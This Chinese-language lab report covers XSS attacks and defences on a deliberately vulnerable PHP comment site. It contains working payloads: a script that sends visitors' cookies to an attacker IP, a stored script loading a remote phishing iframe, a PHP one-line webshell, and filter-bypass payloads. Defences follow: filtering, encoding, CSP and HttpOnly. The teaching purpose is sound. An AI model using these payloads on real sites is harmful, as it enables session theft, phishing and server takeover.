实验步骤与内容:
目录
一. 实验内容
二. 网站搭建
三. 三种基本XSS漏洞
3.1 反射型
3.2 存储型
3.3 DOM-based型
四. 利用XSS进一步攻击
4.1 Cookie窃取
4.2 CSRF
4.3 XSS钓鱼
4.4 Web Shell
五. XSS防御
5.1 输入过滤
5.2 输出编码,转义
5.3 上下文敏感数据编码
5.4 内容安全策略
5.5 其他防御策略
六.XSS攻击案例分析
结论分析与体会
附录:
一. 实验内容
XSS攻击和防范的实例分析,使用PHP+Mysql,HTML+Javascript+CSS搭建一个有漏洞的网站,由于现有框架大多加入了对XSS漏洞的扫描和过滤,因此本网站搭建没有使用任何的框架。
深入了解XSS漏洞形成原因,对三种XSS漏洞分别讨论和实现。同时,利用XSS漏洞,结合更多的攻击手段对网站本身造成实质性的危害,包括Cookie窃取,跨站请求伪造,XSS跨框架钓鱼,Web Shell。
了解两种现有的常用的攻击扫描,漏洞检测工具,XSS-Proxy,Burp Suite。进行了网站漏洞扫描,利用工具实现钓鱼和爆破攻击。
深入讨论XSS的防御策略,从浏览器编码解码的基本原理出发,分析XSS漏洞产生的根本原因,以及常见的编码,转义,过滤的防御原理,同时如何绕过防御策略。
即使现在的XSS攻击防御策略和检测工具已十分完善,但XSS漏洞在实际网络中依然层出不穷,实验最后分析了2016年WordPress框架中的存储型漏洞。
二. 网站搭建
采用常规架构搭建视频分享评论网站
主要功能:登录,评论,视频浏览
后台:PHP
三. 三种基本XSS漏洞
3.1 反射型
反射型主要用于将恶意脚本附加到URL地址参数中,攻击者通过特定手段诱使用户访问一个包含恶意代码的URL,URL被提交至服务器解析并响应,浏览器解析执行包含恶意代码的网页。
在本网站中,用户输入搜索关键词,页面向服务器发送get请求,搜索关键词在URL中传入服务器,此时,服务器对搜索关键词进行搜索,将返回的结果通过HTTP应答返回客户端。客户端将接受结果显示在页面上,此时的搜索关键词会重新加载到页面上,如果攻击者将恶意代码嵌入搜索关键词中,恶意代码将在浏览器上执行,如此实现反射型攻击。
攻击实例:
实验网站的搜索功能如下:
服务器端对搜索内容的处理代码如下:
攻击者将恶意代码嵌入URL中,此时用户得到搜索结果后,重新呈现在界面上,而客户端浏览器将该关键词解释为JavaScript代码,产生如下效果:
恶意URL如下所示:
https://ikun.yinwei.xyz/bin/play.php?search=<script>alert(‘xss’)</script>
URL编码后:
https://ikun.yinwei.xyz/bin/play.php?search%3D%3Cscript%3Ealert(%E2%80%98xss%E2%80%99)%3C%2Fscript%3E%0A
URL编码可以达到一定程度上的伪装,因为服务器端的程序会对URL进行解析,此时的URL编码后的形式依然是有效的。
3.2 存储型
存储型攻击又称持久型,主要形成原因是服务器端没有对用户输入进行过滤,输出时没有进行编码,导致攻击者提交的数据在呈现在用户页面上时,被当作脚本来执行了。
存储型经常出现的地方有网站留言,评论,博客,日志等用户与服务器数据交互的地方攻击者事先将恶意JavaScript代码上传或存储到服务器中,受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
在实验网站上的评论区,由于没有任何的防御措施,出现了典型的存储型漏洞。
在评论区输入:
<script>alert(document.cookie);</script>
<meta http-equiv=”Refresh” content=”0” />
<script>alert(“you can’t use the website! ”);</script>
这些JavaScript脚本,分别会出现弹窗,自动刷新,而不断的弹窗和自动刷新会导致网页无法提供正常的服务。
攻击结果如下:
3.3 DOM-based型
DOM型可以看作一类特殊的反射型,是基于DOM文档对象模型的漏洞,是对DOM节点的操作。客户端脚本JavaScript可以对页面DOM元素进行动态的检查和修改,此时如果对修改内容的获取和显示没有严格的防御和过滤策略,这将触发DOM XSS漏洞。
输入为用户易操作的属性:document.referer document.name
输出简单字符串在页面显示:innerHTML document.write
上述都是常见的易出现DOM漏洞的javascript代码。
此时的恶意代码不会经过服务端的处理,由页面的Javascript代码直接从用户输入中获取,输出到DOM结构中。
实例网站的DOM型漏洞:
在URL中添加攻击代码:
search=</title><script>alert(1);</script>
产生的攻击结果:
在本实例中,脚本对页面的标题进行了动态的修改,策略是从URL中获取search的参数,作为标题内容。此时,攻击者只要简单地闭合<title>标签就可以实现DOM型攻击。
四. 利用XSS进一步攻击
通常情况下,单纯的XSS攻击,可以让用户浏览器执行攻击者定义的恶意Javascript代码。而简单的弹窗并不会带来实质性危害,更多情况下,XSS要和其他许多攻击手段结合起来,此时表现出对Web安全的严重威胁。如:XSS钓鱼,Cookie窃取已实现会话劫持,结合CSRF攻击,Web Shell等。
4.1 Cookie窃取
Cookie窃取客户端Cookie是XSS攻击中最常见的应用方式之一。Cookie是现今Web系统识别用户身份和保存回话状态的主要机制,Cookie安全问题主要来源于其保存在本地,可能包含敏感信息,明文传输等特性。
在没有设置cookie的安全属性的时候,Javascript中的document,cookie可以轻易获取用户当前网页的cookie。
对于示例网站的攻击:
攻击者利用存储型漏洞,上传恶意脚本,同时开启一个服务器,用于接收成功窃取的用户发送的cookie。
恶意脚本如下:
<script>document.write(‘<img src=http://10.27.199.250:15556?c=’+escape(document.cookie)+’>’);</script>
XSS存储型攻击后,页面浏览带有恶意代码的软件时,该评论区脚本如下:
该脚本作为代码被浏览器解释执行,向攻击者服务器10.27.199.250发送图片请求,同时附带自身cookie,由此,攻击者实现了Cookie的窃取。
攻击结果如下:
由此实现了Cookie的窃取。
4.2 CSRF
通常,在Cookie设置了HttpOnly属性之后,客户端的document.cookie将无法再获取用户的Cookie值。并且,如果设置SSL来传输Cookie,攻击者即使截取了也是密文形式的。即便如此,依然有方法可以实现对用户身份的伪造——跨站请求伪造。
跨站脚本伪造是劫持用户在已登录的Web站点上执行非本意的操作,主要产生原因是:1.开发者不够不够审慎,Web应用程序存在漏洞 2.Web浏览器对于Cookie和HTTP身份验证等会话信息处理存在一定的缺陷。
XSS与CSRF之间有紧密的关系,CSRF经常配合XSS一起进行攻击。如果一个网站存在XSS漏洞,那么很大可能也存在CSRF漏洞;均利用用户的会话执行某些操作;CSRF的恶意代码可能位于第三方站点,过滤用户输入可以完美预防第三方漏洞,未必能够预防CSRF。
在本实例中,攻击者构造一个恶意页面,诱使用户点击,页面代码如下:
这里是根据原网站的评论提交表单重新构造了一个表单,区别在于这里的表单内容为攻击者编辑的。原网站的评论提交表单部分后台处理代码:
而服务器识别用户的身份是通过Session会话标识符来进行的,所以,此时,用户点击了恶意页面后,将会以现有的Cookie中存储的SessionID来向服务器验证身份。由此,实现了攻击者的跨站请求伪造,攻击结果如下:
用户在不知情的情况下发表了恶意评论。
4.3 XSS钓鱼
XSS钓鱼与传统的网站钓鱼相比,传统的网站钓鱼技术含量低,且成功率较低,因为URL不同很容易引起用户的警惕。
利用XSS钓鱼常用的方式有XSS跨框架钓鱼,XSS重定向钓鱼,HTML注入式钓鱼以及Flash钓鱼。这些钓鱼方式以XSS攻击方式不同而分为众多类别。
在实例网站上,我们使用XSS-proxy工具实现了一个跨框架钓鱼。
首先构造一个钓鱼页面,方法是直接从原网站上复制而来。这里攻击的页面时登录页面,不同之处在于,钓鱼网站修改了用户登录信息的提交地址,将它修改为攻击者服务器的地址。
攻击者首先在原网站上进行XSS存储型攻击,在评论区提交代码:
<script src=“https://10.27.199.250:8022/xss2.js”></script>
而该条语句是在原网站上加载攻击者服务器上的一个Javascript文件,该文件的作用是生存一个iframe框架覆盖原有页面的结构,其中的关键实现代码如下图:
因此,当用户在访问有恶意评论的网站时,评论中的恶意代码执行,原网页被<iframe>标签重构,呈现攻击者预先构造的钓鱼页面,诱使用户输出用户账号信息。
由此实现了XSS跨框架钓鱼。
4.4 Web Shell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器Web目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后面,得到一个命令执行环境,以达到控制网站服务器的目的。
常用的有一句话木马:<?php@eval($_POST['pass']);?>
在实例网站中我们尝试在网站后台上传文件,但是由于网站基本功能过于简单,没有文件传输的接口,因此,Web Shell没有成功。
即使通过扫描工具扫描也没有发现网站有文件传输入口“
五. XSS防御
OWASP对XSS攻击的防御提出了四点主要意见:
1.使用框架,运用框架的内部保护机制自动化解决XSS问题
2.针对反射型喝存储型,对所有不可信的HTTP请求数据进行过滤,编码转义
3.针对DOM型,进行上下文敏感数据的编码
4.使用内容安全策略(CSP)
从XSS攻击与防范的原理角度出发,分析问题。关于为什么攻击者上传的JavaScript会在用户浏览器中执行?为什么服务器端的数据过滤和输出编码转义可以在一定程度上有效防御XSS攻击?为什么此时的JavaScript脚本不被用户浏览器解析?这些都与浏览器的编码解码有关。
首先,用户通过URL向服务器发起请求,由于URL特定的格式,URL中只允许出现英文,数字,/,:等特定字符,对于汉字,<,>等需要进行URL编码,编码后的数据传到服务器,服务器对其进行解码,再根据URL内容进行响应,返回用户应答包和相应的页面。
然后用户获取HTML页面文件后,首先构建DOM树,此步骤由HTML解释器完成,此过程不包含HTML解码,只是识别HTML标签,构建文档对象模型结构。
之后的步骤比较复杂,简化来说就是CSS解释器加入页面解析,于此同时JS代码解释器对文档中的JavaScript代码解释执行。HTML解释器将DOM中的属性值进行解码,进一步解析出完整结构,最后同CSS样式表单一同呈现出最终的页面。由于JS可以对DOM元素进行动态的修改添加等操作,因此HTML解析和JavaScript的解析相互交替的。
以上就是一个简单的浏览器解析页面的过程,在此基础之上才有攻击的防御和防御的绕过。
5.1 输入过滤
在XSS防御的原则中有:“永远不要相信用户的输入”。数据过滤存在以下两种方式:
1.输入验证:对用户提交信息有效验证,包括指定长度范围,适当格式内容提交,阻止除此外其他任何数据。
2.数据消毒:过滤敏感字符,< > ‘ “ & # JavaScript expression
上面两种方法可以概括为白名单和黑名单,两种方法的比较如下表所示:
黑名单 | 白名单 | |
说明 | 过滤可能造成危害的符号和标签 | 仅允许进行特定格式的语法 |
示例 | 发现输入参数存在<script>, alert, JavaScript就以空白取代 | IKUN网站用户评论只允许输入汉字,英文,逗号,句号,感叹号,问号 |
优点 | 可允许开放某些特殊HTML标签 | 只允许接收被列出的可接受对象 |
缺点 | 可能因过滤规则存在漏洞而使攻击者绕过规则 | 验证程序编写难度较高,用户可输入变化减少 |
但是,无论多么严密的过滤策略,从存在攻击方法可以绕过。
简单的绕过方法如下:
1.空格回车tab键:javascript引擎有关,识别一条完整的语句。
2.标签属性值转码:html中属性值本身支持ASCII编码&#,十进制,十六进制,JavaScript中eval()函数计算字符串,解码
3.产生自己的事件:html与JavaScript交互通过事件,click mouseover, load
4.CSS:样式表单,background-image,expression用到其中url
5.扰乱过滤规则:大小写,引号,全角字符,插入混淆字符/**/
6.编码加密技术,ie浏览器
攻击代码示例:
1. <scr<script>ipt>alert("XSS")</scr<script>ipt>
2. <div οnmοuseenter="alert('xss')">
3. <a href="javascript:alert('xss')">link</a>
4. "><!--
--><script>alert(xss);<script>
5. <scRiPt>alert(1);</scrIPt>
6. a.innerHTML=“%c0u003img+src%3d1+onerror%3dalert(/xss/)+%c0u003e)”;
7. javascript:eval(String.fromCharCode(97,108,101,114,116))
这种过滤的绕过策略就是根据浏览器解析html页面时,在构建完DOM树之后会进行html的解码,因此攻击代码中的部分代码可以通过转移替换。但值得注意的是,所有的绕过混淆策略中都会保证最终的html标签的完整性,这是因为浏览器解析构建DOM树时依赖的html标签。此时无解码,若html标签不完整,恶意代码将会被当作文本解析,这样的攻击就是无效的了。
在示例网站上,引入一个常用的XSS过滤函数,为网站添加了基本的过滤,过滤函数关键代码如下:
此时再进行XSS存储型攻击会发现输入:
<script>alert(/XSS/);</script>
过滤之后的结果为:
而在用户浏览器上的显示为:
XSS攻击得到了有效的防御。
5.2 输出编码,转义
当需要将一个字符串输出到Web页面上时,为了确保内容的完整性和正确性,使用编码(HTMLEncode),转义进行处理。
处理可能包含XSS攻击的敏感字符(< > & ‘ ……)
确保浏览器能安全地处理可能存在的恶意字符,将其当作HTML文档的内容而非结构处理。(HTML实体代替)
编码的核心是识别用户添加恶意代码中的html标签,将其进行编码,这样在浏览器最开始解析构建DOM TREE时就不会将恶意代码识别为html或JavaScript代码,而是当作字符串。常见的编码转义表如下所示:
在HTML 中,某些字符是预留的。比如,在HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。
如果希望正确地显示预留字符,我们必须在HTML 源代码中使用字符实体(character entities)
在实例网站中加入输出编码转义后,绝大部分的XSS攻击都无法实现了:
攻击者评论:
<script>alert(‘1哈哈’/);</script>
HTMLEncode之后:
<script>alert('1哈哈' /);</script>
此时用户浏览该评论时,评论的加载情况如下:
页面正常显示攻击者的评论内容:
5.3 上下文敏感数据编码
DOM型XSS主要是由于客户端的脚本通过DOM动态地输出数据到页面中,它不依赖于提交数据到服务器端,而从客户端获取DOM数据在本地执行。
由于被处理的数据不在服务器端处理的范围内,此时,仅从服务器端部署防御措施是无效的。
因此,对于DOM型的防御与反射型和存储型不同,它主要包括以下两个方法:
- 避免客户端文档重写、重定向或其他敏感操作,避免使用客户端数据
- 分析和强化客户端JavaScript代码,把变量输出到页面时做好编码转义工作,到<script>中,进行javascript编码,到html中做好html编码。
- 在JavaScript中常用的编码转码函数有:
escape(),encodeURI(),encodeURIComponent()
5.4 内容安全策略
CSP(Content Security Policy) 的实质就是白名单制度,网站发送CSP头定义哪些动态资源可以被浏览器加载。
CSP官网:https://content-security-policy.com,官网列出了CSP的常用设置及其说明:
CSP 大大增强了网页的安全性,攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。但CSP策略配置的不完备性会给攻击者带来可乘之机
在实例网站中,我们加入一下的内容安全策略:
这样就设置了该网站不允许加载外部JavaScript代码,不允许加载外部CSS样式,等等。如此一来,前面跨框架钓鱼所用的外部脚本将无法调用。但是简单的不允许调用依然还有办法可以绕过去,直接利用XSS漏洞,将JS代码分段上传,段与段之间用<!-- --!>将中间的html代码注释,这样形成一个连续的完整的JS函数。
又比如同源策略,如果设置了安全属性的A网站和有安全漏洞的B网站同源,在A中调用了B,那么攻击者可以通过攻击B攻击A。
其他的安全策略还有很多,只有完善,严密的安全策略才可以带来相对安全的防御措施。
5.5 其他防御策略
使用Burp Suite工具对实例网站进行漏洞扫描,生成漏洞报告:
报告结果显示,网站存在三个漏洞,分别是DOM型的XSS,SSL Cookie没有安全标识,Coo lie没有设置HttpOnly标识。其中后两个均与Cookie相关。
这里不得不提Cookie的安全性问题,一直以来,Cookie对用户数据的安全性,隐私性保护就存在不足。
HttpOnly Cookie :设置Cookie属性HttpOnly,只能通过HTTP访问,浏览器将阻止客户端JavaScript直接访问该Cookie
关于HTTPOnly的设置,在实例网站PHP代码中做如下更改:
setcookie(name, value,expire,path,domain,secure,httpOnly);
同样,如前所述,即使设置了这样的标识,攻击者CSRF依然可以攻击网站,此时需要增强服务器对用户身份的验证机制,验证强求来源。
六.XSS攻击案例分析
即使有上述的防御措施也无法做到毫无疏漏,XSS漏洞依然层出不穷,这里分析Wordpress中由于插件带来的存储型XSS漏洞。
参考网站:https://www.freebuf.com/vuls/108611.html
开启Jetpack插件Shortcode Embeds模块的用户会受该漏洞影响。攻击者通过插件的shortcode模块,可在论坛文章评论中存储恶意代码。而这些评论会被存在到数据库中,如果用户的Jetpack shortcode模块处于激活状态,后面浏览该评论的访问者会自动执行该恶意代码,这可导致管理员账户被攻击者劫持,注入SEO垃圾邮件到受影响的网页,将访问者重定向到恶意网站,从而实现XSS攻击。